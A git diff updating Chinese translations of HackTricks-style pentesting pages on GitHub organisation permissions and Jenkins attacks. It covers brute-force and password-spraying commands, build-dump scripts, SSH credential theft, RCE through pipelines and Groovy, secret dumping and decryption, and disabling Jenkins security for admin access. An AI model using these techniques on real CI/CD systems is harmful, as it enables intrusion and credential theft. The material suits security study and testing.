是否可以邀请外部合作者。 - 是否可以发布公共或私有网站。 - 管理员对代码库的权限。 - 成员是否可以创建新团队。 @@ -55,7 +55,7 @@ - **分类**:推荐给 **需要主动管理问题和拉取请求的贡献者**,但没有写入权限。 - **写入**:推荐给 **积极推送到您的项目的贡献者**。 - **维护**:推荐给 **需要管理代码库的项目经理**,但不需要访问敏感或破坏性操作。 -- **管理员**:推荐给需要 **对项目拥有完全访问权限** 的人,包括管理安全或删除代码库等敏感和破坏性操作。 +- **管理员**:推荐给需要 **对项目的完全访问权限** 的人,包括管理安全或删除代码库等敏感和破坏性操作。 您可以在此表中 **比较每个角色的权限**:[https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) @@ -69,7 +69,7 @@ 组织的用户可以在 _https://github.com/orgs/\/people_ 中 **列出**。 -在每个用户的信息中,您可以看到 **用户是哪个团队的成员**,以及 **用户可以访问的代码库**。 +在每个用户的信息中,您可以看到 **用户是哪些团队的成员**,以及 **用户可以访问哪些代码库**。 ## Github 认证 @@ -85,69 +85,69 @@ Github 提供不同的方式来验证您的帐户并代表您执行操作。 #### **GPG 密钥** -您 **无法使用这些密钥冒充用户**,但如果您不使用它,可能会导致您 **在没有签名的情况下发送提交时被发现**。了解更多关于 [警惕模式的信息](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。 +您 **无法使用这些密钥冒充用户**,但如果您不使用它,可能会导致您 **被发现发送未签名的提交**。了解更多关于 [警惕模式的信息](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。 ### **个人访问令牌** -您可以生成个人访问令牌,以 **授予应用程序访问您的帐户**。创建个人访问令牌时,**用户** 需要 **指定** 令牌将拥有的 **权限**。[https://github.com/settings/tokens](https://github.com/settings/tokens) +您可以生成个人访问令牌,以 **授予应用程序访问您的帐户**。创建个人访问令牌时,**用户**需要 **指定** 令牌将拥有的 **权限**。[https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth 应用 +### Oauth 应用程序 -Oauth 应用可能会请求您 **访问部分 GitHub 信息或冒充您** 执行某些操作。此功能的一个常见示例是您可能在某些平台上找到的 **使用 GitHub 登录按钮**。 +Oauth 应用程序可能会请求您 **访问部分 GitHub 信息或冒充您** 执行某些操作。此功能的一个常见示例是您可能在某些平台上找到的 **使用 GitHub 登录按钮**。 -- 您可以在 [https://github.com/settings/developers](https://github.com/settings/developers) 中 **创建** 您自己的 **Oauth 应用**。 -- 您可以在 [https://github.com/settings/applications](https://github.com/settings/applications) 中查看所有 **访问您帐户的 Oauth 应用**。 -- 您可以在 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 中查看 **Oauth 应用可以请求的范围**。 -- 您可以在 _https://github.com/organizations/\/settings/oauth_application_policy_ 中查看组织中应用程序的第三方访问。 +- 您可以在 [https://github.com/settings/developers](https://github.com/settings/developers) 中 **创建** 您自己的 **Oauth 应用程序**。 +- 您可以在 [https://github.com/settings/applications](https://github.com/settings/applications) 中查看所有 **访问您帐户的 Oauth 应用程序**。 +- 您可以在 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 中查看 **Oauth 应用程序可以请求的范围**。 +- 您可以在 _https://github.com/organizations/\/settings/oauth_application_policy_ 中查看 **组织中应用程序的第三方访问**。 一些 **安全建议**: -- **OAuth 应用** 应始终 **作为经过身份验证的 GitHub 用户在 GitHub 的所有地方操作**(例如,在提供用户通知时),并仅访问指定的范围。 -- OAuth 应用可以通过为经过身份验证的用户启用“使用 GitHub 登录”作为身份提供者。 -- **不要** 构建一个 **OAuth 应用**,如果您希望您的应用程序在 **单个代码库** 上操作。使用 `repo` OAuth 范围,OAuth 应用可以 **在所有**\*\* 经过身份验证的用户的代码库上操作\*\*。 -- **不要** 构建一个 OAuth 应用来作为您 **团队或公司的** 应用程序。OAuth 应用作为 **单个用户** 进行身份验证,因此如果一个人创建了一个供公司使用的 OAuth 应用,然后他们离开公司,其他人将无法访问它。 +- **OAuth 应用程序** 应始终 **在 GitHub 的所有地方作为经过身份验证的 GitHub 用户操作**(例如,在提供用户通知时),并仅访问指定的范围。 +- OAuth 应用程序可以通过为经过身份验证的用户启用“使用 GitHub 登录”作为身份提供者。 +- **不要** 构建 **OAuth 应用程序**,如果您希望您的应用程序在 **单个代码库** 上操作。使用 `repo` OAuth 范围,OAuth 应用程序可以 **在所有** 经过身份验证的用户的代码库上操作。 +- **不要** 构建 OAuth 应用程序以作为您 **团队或公司的** 应用程序。OAuth 应用程序作为 **单个用户** 进行身份验证,因此如果一个人创建了一个供公司使用的 OAuth 应用程序,然后他们离开公司,其他人将无法访问它。 - **更多** 信息在 [这里](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)。 -### Github 应用 +### Github 应用程序 -Github 应用可以请求权限以 **访问您的 GitHub 信息或冒充您** 执行特定操作。在 Github 应用中,您需要指定应用将访问的代码库。 +Github 应用程序可以请求权限以 **访问您的 GitHub 信息或冒充您** 执行特定操作。在 Github 应用程序中,您需要指定应用程序将访问的代码库。 -- 要安装 GitHub 应用,您必须是 **组织所有者或在代码库中拥有管理员权限**。 -- GitHub 应用应 **连接到个人帐户或组织**。 -- 您可以在 [https://github.com/settings/apps](https://github.com/settings/apps) 中创建自己的 GitHub 应用。 -- 您可以在 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 中查看所有 **访问您帐户的 GitHub 应用**。 -- 这些是 **GitHub 应用的 API 端点** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。根据应用的权限,它将能够访问其中的一些。 -- 您可以在 _https://github.com/organizations/\/settings/installations_ 中查看组织中的已安装应用。 +- 要安装 GitHub 应用程序,您必须是 **组织所有者或在代码库中拥有管理员权限**。 +- GitHub 应用程序应 **连接到个人帐户或组织**。 +- 您可以在 [https://github.com/settings/apps](https://github.com/settings/apps) 中创建自己的 Github 应用程序。 +- 您可以在 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 中查看所有 **访问您帐户的 Github 应用程序**。 +- 这些是 **Github 应用程序的 API 端点** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。根据应用程序的权限,它将能够访问其中的一些。 +- 您可以在 _https://github.com/organizations/\/settings/installations_ 中查看组织中的已安装应用程序。 一些安全建议: -- GitHub 应用应 **独立于用户采取行动**(除非应用使用 [用户到服务器](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 令牌)。为了使用户到服务器的访问令牌更安全,您可以使用将在 8 小时后过期的访问令牌,以及可以交换为新访问令牌的刷新令牌。有关更多信息,请参见“[刷新用户到服务器的访问令牌](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)”。 -- 确保 GitHub 应用与 **特定代码库** 集成。 -- GitHub 应用应 **连接到个人帐户或组织**。 -- 不要期望 GitHub 应用知道并做用户可以做的所有事情。 -- **如果您只需要“使用 GitHub 登录”服务,请不要使用 GitHub 应用**。但是,GitHub 应用可以使用 [用户识别流程](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) 来登录用户 _并_ 执行其他操作。 -- 如果您使用应用与 GitHub Actions,并希望修改工作流文件,您必须代表用户使用包含 `workflow` 范围的 OAuth 令牌进行身份验证。用户必须对包含工作流文件的代码库具有管理员或写入权限。有关更多信息,请参见“[了解 OAuth 应用的范围](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)”。 +- GitHub 应用程序应 **独立于用户采取行动**(除非应用程序使用 [用户到服务器](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 令牌)。为了使用户到服务器的访问令牌更安全,您可以使用将在 8 小时后过期的访问令牌,以及可以交换为新访问令牌的刷新令牌。有关更多信息,请参见“[刷新用户到服务器的访问令牌](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)”。 +- 确保 GitHub 应用程序与 **特定代码库** 集成。 +- GitHub 应用程序应 **连接到个人帐户或组织**。 +- 不要期望 GitHub 应用程序知道并执行用户可以做的所有事情。 +- **如果您只需要“使用 GitHub 登录”服务,请不要使用 GitHub 应用程序**。但是,GitHub 应用程序可以使用 [用户身份识别流程](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) 来登录用户 _并_ 执行其他操作。 +- 如果您在使用 GitHub Actions 的应用程序中希望修改工作流文件,您必须代表用户使用包含 `workflow` 范围的 OAuth 令牌进行身份验证。用户必须对包含工作流文件的代码库具有管理员或写入权限。有关更多信息,请参见“[理解 OAuth 应用程序的范围](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)”。 - **更多** 信息在 [这里](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)。 ### Github Actions -这 **不是在 GitHub 中进行身份验证的方法**,但一个 **恶意** 的 GitHub Action 可能会获得 **未经授权的访问 GitHub**,并且 **根据** 赋予 Action 的 **权限**,可能会进行几种 **不同的攻击**。有关更多信息,请参见下文。 +这 **不是在 github 中进行身份验证的方法**,但一个 **恶意的** Github Action 可能会获得 **未经授权的访问**,并且 **根据** 赋予 Action 的 **权限**,可能会进行几种 **不同的攻击**。有关更多信息,请参见下文。 ## Git 操作 -Git 操作允许在事件发生时自动化 **代码的执行**。通常执行的代码与 **代码库的代码有某种关系**(可能构建一个 docker 容器或检查 PR 是否包含秘密)。 +Git 操作允许在 **事件发生时自动执行代码**。通常执行的代码与 **代码库的代码有某种关系**(可能构建一个 docker 容器或检查 PR 是否包含秘密)。 ### 配置 -在 _https://github.com/organizations/\/settings/actions_ 中,可以检查组织的 **GitHub Actions 配置**。 +在 _https://github.com/organizations/\/settings/actions_ 中,可以检查组织的 **github actions 配置**。 -可以完全禁止使用 GitHub Actions,**允许所有 GitHub Actions**,或仅允许某些操作。 +可以完全禁止使用 github actions,**允许所有 github actions**,或仅允许某些操作。 -还可以配置 **谁需要批准才能运行 GitHub Action** 以及运行时 GitHub Action 的 **GITHUB_TOKEN 权限**。 +还可以配置 **谁需要批准才能运行 Github Action** 以及运行时 Github Action 的 **GITHUB_TOKEN 权限**。 ### Git 秘密 -GitHub Action 通常需要某种秘密与 GitHub 或第三方应用程序进行交互。为了 **避免将它们以明文形式放入代码库**,GitHub 允许将它们作为 **秘密** 放置。 +Github Action 通常需要某种秘密与 github 或第三方应用程序进行交互。为了 **避免将其以明文形式放入代码库**,github 允许将其作为 **Secrets** 放置。 这些秘密可以为 **代码库或整个组织** 配置。然后,为了使 **Action 能够访问秘密**,您需要将其声明为: ```yaml @@ -167,15 +167,15 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **只能通过声明它们的 Github Actions 访问**。 +> 秘密 **只能通过声明它们的 Github Actions 访问**。 -> 一旦在仓库或组织中配置,**github 用户将无法再次访问它们**,他们只能**更改它们**。 +> 一旦在仓库或组织中配置,**github 的用户将无法再次访问它们**,他们只能 **更改它们**。 -因此,**窃取 github secrets 的唯一方法是能够访问执行 Github Action 的机器**(在这种情况下,您将只能访问为该 Action 声明的 secrets)。 +因此,**窃取 github 秘密的唯一方法是能够访问执行 Github Action 的机器**(在这种情况下,您将只能访问为该 Action 声明的秘密)。 ### Git 环境 -Github 允许创建 **环境**,您可以在其中保存 **secrets**。然后,您可以通过类似以下方式授予 github action 访问环境中的 secrets: +Github 允许创建 **环境**,您可以在其中保存 **秘密**。然后,您可以通过类似以下方式授予 github action 访问环境内的秘密: ```yaml jobs: deployment: @@ -183,21 +183,21 @@ runs-on: ubuntu-latest environment: env_name ``` 您可以配置一个环境以**被所有分支访问**(默认),**仅受保护的**分支或**指定**可以访问它的分支。\ -它还可以设置**执行**某个**操作**之前所需的**审核数量**,或者**等待**一段**时间**再允许部署继续。 +它还可以在**执行**使用**环境**的**操作**之前设置**所需的审查数量**或**等待**一段**时间**再允许部署继续。 ### Git Action Runner -Github Action可以**在github环境中执行**,也可以在用户配置的**第三方基础设施**中执行。 +Github Action可以**在github环境内执行**,也可以在用户配置的**第三方基础设施**中执行。 一些组织将允许在**第三方基础设施**中运行Github Actions,因为这通常是**更便宜**的。 -您可以在 _https://github.com/organizations/\/settings/actions/runners_ 列出组织的自托管运行器。 +您可以在 _https://github.com/organizations/\/settings/actions/runners_ 列出一个组织的自托管运行器。 查找**在非github基础设施中执行的Github Actions**的方法是搜索Github Action配置yaml中的 `runs-on: self-hosted`。 -**不可能在不同组织的自托管环境中运行组织的Github Action**,因为**在配置Runner时会生成一个唯一的令牌**以知道该Runner属于哪里。 +**不可能在不同组织的自托管环境中运行一个组织的Github Action**,因为**在配置Runner时生成了一个唯一的令牌**以知道该Runner属于哪里。 -如果自定义**Github Runner配置在AWS或GCP内部的机器上**,例如,该Action**可能会访问元数据端点**并**窃取服务帐户的令牌**,该机器正在运行。 +如果自定义**Github Runner配置在AWS或GCP内部的机器上**,例如,该Action**可能访问元数据端点**并**窃取服务账户的令牌**,该机器正在运行。 ### Git Action Compromise @@ -207,27 +207,27 @@ Github Action可以**在github环境中执行**,也可以在用户配置的** > 一个**恶意的Github Action**运行可能会被攻击者**滥用**: > > - **窃取所有秘密**,该Action可以访问 -> - **横向移动**,如果该Action在**第三方基础设施**中执行,可以访问用于运行机器的SA令牌(可能通过元数据服务) +> - **横向移动**,如果该Action在可以访问用于运行机器的SA令牌的**第三方基础设施**中执行(可能通过元数据服务) > - **滥用工作流**使用的令牌,以**窃取执行该Action的repo的代码**或**甚至修改它**。 ## Branch Protections -分支保护旨在**不将完整控制权授予用户**。目标是**在能够在某个分支中编写代码之前设置多个保护方法**。 +分支保护旨在**不将完整控制权授予用户**。目标是**在能够在某个分支中编写代码之前设置几种保护方法**。 **一个仓库的分支保护**可以在 _https://github.com/\/\/settings/branches_ 找到。 > [!NOTE] > **不可能在组织级别设置分支保护**。因此,所有保护必须在每个repo中声明。 -可以对分支应用不同的保护(例如对master): +可以对分支(如master)应用不同的保护: -- 您可以**要求在合并之前进行PR**(因此您不能直接在分支上合并代码)。如果选择此项,则可以实施其他不同的保护: +- 您可以**要求在合并之前进行PR**(因此您不能直接将代码合并到该分支)。如果选择此项,则可以实施其他不同的保护: - **要求一定数量的批准**。通常需要1或2个以上的人批准您的PR,以便单个用户无法直接合并代码。 - **在推送新提交时撤销批准**。否则,用户可能会批准合法代码,然后用户可以添加恶意代码并合并。 -- **要求代码所有者进行审核**。至少需要1个代码所有者批准PR(因此“随机”用户无法批准)。 -- **限制谁可以撤销拉取请求审核**。您可以指定允许撤销拉取请求审核的人员或团队。 +- **要求代码所有者的审查**。至少需要1个代码所有者批准PR(因此“随机”用户无法批准)。 +- **限制谁可以撤销拉取请求审查**。您可以指定允许撤销拉取请求审查的人或团队。 - **允许指定的参与者绕过拉取请求要求**。这些用户将能够绕过先前的限制。 -- **要求状态检查在合并之前通过**。某些检查需要在能够合并提交之前通过(例如,检查没有明文秘密的github action)。 +- **要求状态检查在合并之前通过**。在能够合并提交之前,需要通过某些检查(例如,检查没有明文秘密的github action)。 - **要求在合并之前解决对话**。所有代码上的评论需要在PR合并之前解决。 - **要求签名提交**。提交需要签名。 - **要求线性历史**。防止将合并提交推送到匹配的分支。 diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 0145b1df9..4a2315626 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,10 +1,10 @@ -# Jenkins Security +# Jenkins 安全 {{#include ../../banners/hacktricks-training.md}} ## 基本信息 -Jenkins 是一个工具,提供了一种简单的方法来建立几乎 **任何** 编程语言和源代码库组合的 **持续集成** 或 **持续交付** (CI/CD) 环境,使用管道。此外,它还自动化了各种常规开发任务。虽然 Jenkins 并不消除 **为单个步骤创建脚本的需要**,但它确实提供了一种比手动构建更快、更强大的方式来集成整个构建、测试和部署工具的序列。 +Jenkins 是一个工具,提供了一种简单的方法来建立几乎任何编程语言和源代码库组合的 **持续集成** 或 **持续交付** (CI/CD) 环境,使用管道。此外,它还自动化了各种常规开发任务。虽然 Jenkins 并没有消除 **为单个步骤创建脚本的需要**,但它确实提供了一种比手动构建更快、更强大的方式来集成整个构建、测试和部署工具的序列。 {{#ref}} basic-jenkins-information.md @@ -24,8 +24,6 @@ msf> use auxiliary/scanner/http/jenkins_command 您可能能够从路径 _**/oops**_ 或 _**/error**_ 获取 Jenkins 版本。 -![](<../../images/image (146).png>) - ### 已知漏洞 {{#ref}} @@ -46,7 +44,7 @@ basic-jenkins-information.md ### **SSO 登录** -如果存在 **SSO** **功能**/**插件**,那么您应该尝试使用测试帐户(即测试 **Github/Bitbucket 帐户**)登录应用程序。从 [**这里**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) 获取技巧。 +如果存在 **SSO** **功能**/**插件**,那么您应该尝试使用测试帐户(即测试 **Github/Bitbucket 帐户**)登录应用程序。技巧来自 [**这里**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)。 ### 暴力破解 @@ -54,24 +52,24 @@ basic-jenkins-information.md ``` msf> use auxiliary/scanner/http/jenkins_login ``` -### 密码喷洒 +### 密码喷射 -使用 [这个 python 脚本](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 或 [这个 powershell 脚本](https://github.com/chryzsh/JenkinsPasswordSpray)。 +使用 [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 或 [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray)。 ### IP 白名单绕过 -许多组织将 **基于 SaaS 的源代码管理 (SCM) 系统**(如 GitHub 或 GitLab)与 **内部自托管的 CI** 解决方案(如 Jenkins 或 TeamCity)结合使用。此设置允许 CI 系统 **接收来自 SaaS 源代码控制供应商的 webhook 事件**,主要用于触发管道作业。 +许多组织将 **基于SaaS的源代码管理(SCM)系统**(如 GitHub 或 GitLab)与 **内部自托管的 CI** 解决方案(如 Jenkins 或 TeamCity)结合使用。此设置允许 CI 系统 **接收来自 SaaS 源代码供应商的 webhook 事件**,主要用于触发管道作业。 -为了实现这一点,组织 **将 SCM 平台的 IP 范围列入白名单**,允许它们通过 **webhooks** 访问 **内部 CI 系统**。然而,重要的是要注意,**任何人**都可以在 GitHub 或 GitLab 上创建一个 **账户** 并将其配置为 **触发 webhook**,可能会向 **内部 CI 系统** 发送请求。 +为了实现这一点,组织 **将 SCM 平台的 IP 范围列入白名单**,允许它们通过 **webhooks** 访问 **内部 CI 系统**。然而,重要的是要注意 **任何人** 都可以在 GitHub 或 GitLab 上创建一个 **账户** 并将其配置为 **触发 webhook**,可能会向 **内部 CI 系统** 发送请求。 检查: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## 内部 Jenkins 滥用 -在这些场景中,我们假设您有一个有效的账户来访问 Jenkins。 +在这些场景中,我们假设您拥有访问 Jenkins 的有效账户。 > [!WARNING] -> 根据在 Jenkins 中配置的 **授权** 机制和被攻陷用户的权限,您 **可能能够或无法执行以下攻击**。 +> 根据 Jenkins 中配置的 **授权** 机制和被攻击用户的权限,您 **可能能够或无法执行以下攻击。** 有关更多信息,请查看基本信息: @@ -85,7 +83,7 @@ basic-jenkins-information.md ### 转储构建以查找明文秘密 -使用 [这个脚本](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) 转储构建控制台输出和构建环境变量,以希望找到明文秘密。 +使用 [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) 转储构建控制台输出和构建环境变量,以希望找到明文秘密。 ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -93,7 +91,7 @@ gitleaks detect --no-git -v ``` ### **窃取 SSH 凭证** -如果被攻陷的用户具有 **足够的权限来创建/修改新的 Jenkins 节点**,并且 SSH 凭证已经存储以访问其他节点,他可以通过创建/修改一个节点并 **设置一个将记录凭证的主机** 而不验证主机密钥来 **窃取这些凭证**: +如果被攻击的用户具有 **足够的权限来创建/修改新的 Jenkins 节点**,并且 SSH 凭证已经存储以访问其他节点,他可以通过创建/修改一个节点并 **设置一个将记录凭证的主机** 而不验证主机密钥来 **窃取这些凭证**: ![](<../../images/image (218).png>) @@ -101,13 +99,13 @@ gitleaks detect --no-git -v ### **Jenkins 中的 RCE** -在 Jenkins 服务器上获得 **shell** 使攻击者有机会泄露所有 **秘密** 和 **环境变量**,并 **利用同一网络中的其他机器**,甚至 **收集云凭证**。 +在 Jenkins 服务器上获得 **shell** 使攻击者有机会泄露所有 **秘密** 和 **环境变量**,并 **利用同一网络中** 的其他机器,甚至 **收集云凭证**。 默认情况下,Jenkins 将 **以 SYSTEM 身份运行**。因此,攻陷它将使攻击者获得 **SYSTEM 权限**。 ### **创建/修改项目的 RCE** -创建/修改项目是获得 Jenkins 服务器 RCE 的一种方式: +创建/修改项目是一种获得 Jenkins 服务器 RCE 的方式: {{#ref}} jenkins-rce-creating-modifying-project.md @@ -115,7 +113,7 @@ jenkins-rce-creating-modifying-project.md ### **执行 Groovy 脚本的 RCE** -您还可以通过执行 Groovy 脚本来获得 RCE,这可能比创建新项目更隐蔽: +您还可以通过执行 Groovy 脚本获得 RCE,这可能比创建新项目更隐蔽: {{#ref}} jenkins-rce-with-groovy-script.md @@ -135,7 +133,7 @@ jenkins-rce-creating-modifying-pipeline.md ### 构建管道 -**管道** 也可以用作 **项目中的构建机制**,在这种情况下,可以配置一个 **存储库中的文件**,该文件将包含管道语法。默认使用 `/Jenkinsfile`: +**管道** 也可以用作 **项目中的构建机制**,在这种情况下,可以配置一个 **存储库中的文件**,该文件将包含管道语法。默认情况下使用 `/Jenkinsfile`: ![](<../../images/image (127).png>) @@ -146,16 +144,16 @@ jenkins-rce-creating-modifying-pipeline.md 执行自定义管道的最常见触发器是: -- **向主分支的拉取请求**(或可能是其他分支) -- **推送到主分支**(或可能是其他分支) +- **对主分支的拉取请求**(或可能对其他分支) +- **推送到主分支**(或可能对其他分支) - **更新主分支** 并等待以某种方式执行 > [!NOTE] -> 如果您是 **外部用户**,您不应该期望创建 **PR 到其他用户/组织的主分支** 并 **触发管道**... 但如果配置 **不当**,您可能会通过利用这一点完全 **攻陷公司**。 +> 如果您是 **外部用户**,您不应该期望创建 **PR 到其他用户/组织的主分支** 并 **触发管道**...但如果配置 **不当**,您可能会通过利用这一点完全 **攻陷公司**。 ### 管道 RCE -在前面的 RCE 部分中,已经指明了一种技术来 [**通过修改管道获取 RCE**](./#rce-creating-modifying-pipeline)。 +在前面的 RCE 部分中已经指明了一种技术来 [**通过修改管道获取 RCE**](./#rce-creating-modifying-pipeline)。 ### 检查环境变量 @@ -176,7 +174,7 @@ steps { ``` ### Dumping secrets -有关Jenkins通常如何处理秘密的信息,请查看基本信息: +有关 Jenkins 通常如何处理秘密的信息,请查看基本信息: {{#ref}} basic-jenkins-information.md @@ -184,7 +182,7 @@ basic-jenkins-information.md 凭据可以**作用于全局提供者**(`/credentials/`)或**特定项目**(`/job//configure`)。因此,为了提取所有凭据,您需要**至少妥协所有包含秘密的项目**并执行自定义/被污染的管道。 -还有另一个问题,为了在管道的**环境中获取一个秘密**,您需要**知道秘密的名称和类型**。例如,如果您尝试将一个**`usernamePassword`** **秘密**作为**`string`** **秘密**加载,您将收到此**错误**: +还有另一个问题,为了在管道的**环境中获取一个秘密**,您需要**知道秘密的名称和类型**。例如,如果您尝试将一个**`usernamePassword`** **秘密**作为**`string`** **秘密**加载,您将会收到此**错误**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` @@ -216,17 +214,17 @@ env ''' } ``` -在本页面的末尾,您可以**找到所有凭证类型**:[https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +在本页的末尾,您可以**找到所有凭证类型**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> **一次性转储所有秘密**的最佳方法是**妥协****Jenkins**机器(例如在**内置节点**中运行反向 shell),然后**泄露****主密钥**和**加密秘密**并离线解密它们。\ -> 有关如何执行此操作的更多信息,请参见[节点和代理部分](./#nodes-and-agents)和[后期利用部分](./#post-exploitation)。 +> **一次性转储所有秘密**的最佳方法是**妥协****Jenkins**机器(例如在**内置节点**上运行反向 shell),然后**泄露****主密钥**和**加密秘密**并离线解密它们。\ +> 有关如何在[节点和代理部分](./#nodes-and-agents)和[后期利用部分](./#post-exploitation)中执行此操作的更多信息。 ### 触发器 -来自[文档](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers):`triggers`指令定义了**管道应重新触发的自动方式**。对于与 GitHub 或 BitBucket 等源集成的管道,`triggers`可能不是必需的,因为基于 webhook 的集成可能已经存在。当前可用的触发器有`cron`、`pollSCM`和`upstream`。 +来自[文档](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers):`triggers`指令定义了**管道应重新触发的自动方式**。对于与GitHub或BitBucket等源集成的管道,`triggers`可能不是必需的,因为基于webhook的集成可能已经存在。目前可用的触发器有`cron`、`pollSCM`和`upstream`。 -Cron 示例: +Cron示例: ```bash triggers { cron('H */4 * * 1-5') } ``` @@ -365,14 +363,14 @@ println(hudson.util.Secret.decrypt("{...}")) ``` ### 创建新管理员用户 -1. 访问 Jenkins config.xml 文件在 `/var/lib/jenkins/config.xml` 或 `C:\Program Files (x86)\Jenkins\` -2. 搜索词 `true` 并将 **`true`** 改为 **`false`**。 +1. 访问 Jenkins config.xml 文件在 `/var/lib/jenkins/config.xml` 或 `C:\Program Files (x86)\Jenkis\` +2. 搜索 `true` 并将 **`true`** 改为 **`false`**。 1. `sed -i -e 's/truefalsetrue` 再次 **启用** **安全性**,并 **再次重启 Jenkins**。 -## 参考文献 +## 参考 - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 87e50d856..e1e4f486e 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,87 @@ -# Basic Jenkins Information +# 基本的 Jenkins 信息 {{#include ../../banners/hacktricks-training.md}} -## Access +## 访问 -### Username + Password +### 用户名 + 密码 -在Jenkins中登录的最常见方式是使用用户名或密码。 +在 Jenkins 中登录的最常见方式是使用用户名或密码。 ### Cookie -如果**授权的cookie被盗取**,它可以用于访问用户的会话。该cookie通常被称为`JSESSIONID.*`。(用户可以终止所有会话,但他需要首先发现cookie被盗取)。 +如果 **授权的 Cookie 被盗取**,它可以用来访问用户的会话。这个 Cookie 通常被称为 `JSESSIONID.*`。(用户可以终止所有会话,但他需要先发现 Cookie 被盗取)。 -### SSO/Plugins +### SSO/插件 -Jenkins可以通过插件配置为**通过第三方SSO访问**。 +Jenkins 可以通过插件配置为 **通过第三方 SSO 访问**。 -### Tokens +### 令牌 -**用户可以生成令牌**以允许应用程序通过CLI或REST API冒充他们。 +**用户可以生成令牌**,以便通过 CLI 或 REST API 让应用程序冒充他们。 -### SSH Keys +### SSH 密钥 -该组件为Jenkins提供了内置的SSH服务器。这是[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)的替代接口,可以使用任何SSH客户端以这种方式调用命令。(来自[docs](https://plugins.jenkins.io/sshd/)) +此组件为 Jenkins 提供内置的 SSH 服务器。这是 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) 的替代接口,可以使用任何 SSH 客户端以这种方式调用命令。(来自 [docs](https://plugins.jenkins.io/sshd/)) -## Authorization +## 授权 -在`/configureSecurity`中,可以**配置Jenkins的授权方法**。有几种选项: +在 `/configureSecurity` 中,可以 **配置 Jenkins 的授权方法**。有几种选项: - **任何人都可以做任何事**:甚至匿名访问也可以管理服务器。 -- **遗留模式**:与Jenkins <1.164相同。如果您拥有**“admin”角色**,您将获得**对系统的完全控制**,否则(包括**匿名**用户)您将只有**读取**权限。 -- **登录用户可以做任何事**:在此模式下,每个**登录用户获得Jenkins的完全控制**。唯一没有完全控制的用户是**匿名用户**,他们只有**读取权限**。 -- **基于矩阵的安全性**:您可以在表中配置**谁可以做什么**。每个**列**代表一个**权限**。每个**行**代表一个**用户或组/角色**。这包括一个特殊用户'**anonymous**',代表**未认证用户**,以及'**authenticated**',代表**所有已认证用户**。 +- **遗留模式**:与 Jenkins <1.164 相同。如果你拥有 **"admin" 角色**,你将获得 **对系统的完全控制**,否则(包括 **匿名** 用户)你将只有 **读取** 权限。 +- 